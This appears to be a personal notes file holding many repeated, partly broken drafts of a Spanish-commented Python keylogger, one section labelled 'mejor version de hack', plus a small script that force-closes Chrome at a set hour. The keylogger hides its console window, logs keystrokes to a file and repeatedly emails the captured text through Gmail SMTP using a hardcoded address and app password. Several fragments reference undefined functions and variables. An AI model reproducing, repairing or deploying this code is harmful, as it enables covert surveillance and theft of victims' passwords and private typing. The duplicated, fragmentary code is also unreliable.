Version Hk
Version Hk
star hola
goto gil
=======================================
import pythoncom
import pyHook
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
==========================================================================2
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
except Exception as e:
pass
def on_key_event(event):
global enter_count
if event.name == 'enter':
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(event.name)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
========3 EL MEJOR FINAL
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
=============CERRAR CHROME
import os
from datetime import datetime, time
import time as t
def cerrar_programa(programa):
os.system("TASKKILL /F /IM " + programa + ".exe")
if __name__ == "__main__":
programa_a_cerrar = "chrome.exe"
hora_de_cierre = time(22,20) # Hora de cierre (12:00 PM)
cerrar_programa_a_la_hora(programa_a_cerrar, hora_de_cierre)
===================================================================================
=============nueva version key
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
======================================================================otra version
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
=mejor version de hack
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
scan_code = event.scan_code
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
elif key.lower() in keys_to_ignore or scan_code in scan_codes_to_ignore:
return True # Ignora la tecla si está en la lista de ignoradas
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
return True
=================================================================================me
jor version que omite alt gralt
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
===================================================================================
===version ignora flecha arriba, abajo, izquierda , derecha| version 15/6
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
return True
===================================================================================
===================ESTA VERSION EVITA PALABRAS REPETIDAS, PODRIA FINALIZAR ACA EL
PROYECTO
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global buffer
if event.name == 'ctrl':
return True
if event.scan_code in scan_codes_to_ignore:
return True
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
buffer.append(key) # Agrega el salto de línea al buffer
if len(buffer) >= 3:
log_content = ''.join(buffer)
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.write("") # Limpia el contenido del archivo
buffer.clear() # Limpia el buffer después de enviar el correo
return True # Retorna True para evitar escribir '\n' en el archivo
elif key == 'backspace' or key == 'left mouse':
key = '\n'